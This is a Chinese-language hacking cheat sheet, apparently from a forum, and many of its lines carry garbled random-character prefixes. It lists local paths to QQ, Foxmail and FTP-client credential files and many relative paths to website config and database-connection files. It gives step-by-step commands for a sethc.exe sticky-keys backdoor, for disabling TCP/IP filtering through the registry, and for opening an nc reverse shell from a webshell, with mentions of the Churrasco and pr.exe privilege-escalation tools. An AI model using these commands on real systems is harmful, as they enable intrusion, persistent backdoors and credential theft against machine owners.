/ J1 j  W4 l7 g& dc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
5 P  P! `+ O# y7 K$ Y8 }3 ^4 e) `/usr/local/tomcat5527/bin/version.sh
" [( T3 }5 u7 o  R# ?; g$ M, i1 I2 [/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
+ b- L" o0 C7 }- s3 N. ic:\Program Files\QQ2007\qq.exe
: U$ s/ Q6 F7 r$ e2 Q, Rc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
/ B9 q$ [( V8 ic:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
7 ?/ {% [2 h% T) @4 Vc:\Program Files\Tencent\qq2010\bin\qq.exe
9 y9 y, A4 O5 n8 S" K8 Gc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
+ J6 U( z1 X3 o5 R) d% h/ f" Qc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
$ U* {; g& ^4 K) \; R. H6 ?C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
8 \/ K; u# }* G, @" K6 ?7 {$ AC:\Program Files\FlashFXP\FlashFXP.ini
: m$ {' v. Z5 L8 m0 Q/ b) v3 FC:\Program Files\FlashFXP\flashfxp.exe
: u4 s7 D3 q% X# r8 ^c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
' _( ^* b: j; r# ec:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
1 x, T# ?1 b+ f( u6 R$ Y6 o+ s0 M$ Qc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
2 \$ {1 y! M$ R2 Q( D' o
3 @# F3 z' V0 E# W3.网站相对路径:

' {( [# `$ a' w( b9 @$ m. {3 Q% a' `/config.php
../../config.php
+ k8 w0 w+ ~! O3 g../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
: Z9 Y. C3 z: b, K2 n5 I../config.inc.php
../../../config.inc.php
8 ?# a6 y! t1 x+ q( e( ]/conn.php
./conn.php
../../conn.php
7 U0 K5 `! x# u4 n! @1 D../conn.php
../../../conn.php
' W9 q- }$ e: Y4 b9 \& Z/conn.asp
8 e( d( [6 U1 V& s./conn.asp
../../conn.asp
: o1 s1 E: {# i/ b- F0 f../conn.asp
/ x% W6 `8 p; p4 O/ u+ W../../../conn.asp
/config.inc.php
; F8 ?& N- k0 }' c: P& |, f./config.inc.php
( m* f" g2 ?5 I$ h. S* g0 T../../config.inc.php
../config.inc.php
: k2 |; H0 v& a: c4 Q. N../../../config.inc.php
: U6 d2 V0 r5 M- I. u! p% z/config/config.php
../../config/config.php
6 ^7 N; q% Y! d  s# R" |) E../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
- |" F" D' g& L, z./config/conn.php
9 F! n% u" t1 O6 g3 ]../../config/conn.php
$ ]) o  G- \3 Z4 y../config/conn.php
8 I5 l& O! k. m8 ]) q../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
7 L1 z+ ~8 h9 F+ e& g8 x../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
5 X7 l5 Y9 o+ Q! V! c0 I( I6 m" c, Q../../config/config.inc.php
% |( u* _- x; Y: w6 e" }# U../config/config.inc.php
* a: |6 d# m, N& @9 k- q9 u) ^../../../config/config.inc.php
, J$ V/ y5 W* C) q0 Y2 ~/ r+ B- H( \/data/config.php
../../data/config.php
../data/config.php
# z$ I. B; N' n" J+ |- V../../../data/config.php
/data/config.inc.php
; m8 N! u  f& O( H3 H' r- ?./data/config.inc.php
; g1 X/ Y3 o2 h* l8 H4 v& O../../data/config.inc.php
" z# v- r3 E  D: n1 Y( X../data/config.inc.php
3 {5 K9 T- F) y6 \+ ?5 z  k3 h../../../data/config.inc.php
% w7 m1 q$ S# S. R8 p! @  J; ^/data/conn.php
./data/conn.php
../../data/conn.php
) E# E( z# x  N8 v* J# J! t../data/conn.php
, t% C$ w& U# Q- ~; O5 i../../../data/conn.php
. T0 a! W" m: p9 d' U# t/data/conn.asp
./data/conn.asp
+ S% p9 x) |" }: e0 w0 Z& ~) S3 N../../data/conn.asp
' A$ q: w# g; f  Z/ }/ h) t& A../data/conn.asp
3 |( l, K# o# D1 l! e, {7 j! d$ _../../../data/conn.asp
( h- W; [5 N5 d' b1 \" C* {/data/config.inc.php
3 B- l# [( M2 y6 P9 p) o+ V./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
: G+ {2 Q3 X  t6 ^1 O/include/config.php
% y0 R0 V0 C% M) D. o) f8 q1 t../../include/config.php
# @7 {+ I# g: x/ d0 ^1 t2 {../include/config.php
" H- r- ~/ D) N6 W../../../include/config.php
& Y4 I/ c1 r4 x: Z" ~5 K/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/ z6 B2 v" m$ \; F: R/include/conn.php
0 f. t. L; F6 o, N- t./include/conn.php
4 k9 Q8 s) }: `* I$ E6 R../../include/conn.php
2 l2 \; D2 [  h. d4 d6 ?4 b../include/conn.php
../../../include/conn.php
( n" N2 [; \+ J1 t# T/ t4 U' n/include/conn.asp
./include/conn.asp
../../include/conn.asp
, }0 f: ?, S, d% [. [) e. E../include/conn.asp
3 u7 t" h; `( T' B1 ~; a$ s5 @../../../include/conn.asp
3 }# U+ j) v2 h4 p: m7 g- x/include/config.inc.php
9 W2 Y# Y! e) }% }  Q/ o* ]' X; o./include/config.inc.php
1 `9 s* p$ n6 r8 L, R" ?, l6 a../../include/config.inc.php
/ S& S! `" H7 _../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
% i% q& _  ]' F& j$ m0 O. C8 g+ m- [) M! G../../inc/config.php
7 `& G. F6 Z- K../inc/config.php
0 N  w) r' s3 l7 `7 A7 L; e: Y../../../inc/config.php
5 q1 j* K3 d% j4 t4 I/inc/config.inc.php
4 M* o. u: f/ X8 r./inc/config.inc.php
../../inc/config.inc.php
' K7 t% e& r4 V* t8 V8 j7 _../inc/config.inc.php
+ u2 Z! |; u, C% u. T7 G../../../inc/config.inc.php
# j0 r7 ]4 a8 T1 I  ]( T# z: p/inc/conn.php
./inc/conn.php
9 W2 _9 S' h9 v$ @8 x../../inc/conn.php
../inc/conn.php
2 f# |  R" O% Z3 Z- j! Y../../../inc/conn.php
1 M; l& t! U2 L' x4 ~/inc/conn.asp
) A$ V$ A0 C1 y5 [0 e./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
% y8 S! g. m# f+ b3 u; c./inc/config.inc.php
% l$ R; V; N0 Q. J/ ]' U8 R8 v../../inc/config.inc.php
  w; x1 M: o$ c5 l0 R% Q( c../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
" [$ g8 q/ d4 P; [, ~: w../../../index.php
/index.asp
' T! u9 g: R! J; c./index.asp
../../index.asp
4 s! l6 G1 J' G9 b5 j3 J../index.asp
5 Y( s3 X: Y6 t& D1 X4 N../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

0 H1 E/ c3 B  D　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

2 K$ J* H5 @0 i1 |1 l2 M( d) V　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

$ E. m0 n( V* m" m　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
8 H0 k7 g$ {# c6 l/ U' z/ M
　　attrib c:\windows\system32\sethc.exe +h +r +s
: F& N, G7 S6 L; v' t% t
3 j& |& ^+ o: g  {3 i' O' ]  g7 r" G　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& g# y+ u" \- b3 e  d1 g
分别用
  M6 o* ]& ]5 b4 ?0 l0 tregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ F: C$ n1 n+ b6 d" hregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! q! L+ g2 H! p4 S, G. m命令来导出注册表项

8 S$ H& A. N+ b( y7 W$ F) c然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

) [; C5 c3 h4 F6 G: O. n1 ]& R再将以上三个文件分别用
regedit -s D:\a.reg
( h; C+ A+ v0 n# n4 Cregedit -s D:\b.reg
regedit -s D:\c.reg
* z9 h% C9 b4 x8 P) F导入注册表即可
$ s* Q6 C6 b  `, F; E
webshell提权小技巧
cmd路径:
+ m, b  ~- [$ K' P5 H2 x9 W7 ~c:\windows\temp\cmd.exe
* q+ W8 s3 a3 ?nc也在同目录下
例如反弹cmdshell：
3 ]% d/ ^$ |1 G2 }, b2 ~8 K"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
/ W  T% _+ C  v/ e" c$ i, @' u1 O+ E
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
( V& _) {% g) w' Z9 c0 \( [2 _0 A命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
2 S- T1 q, @8 w1 k" X- p, p这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功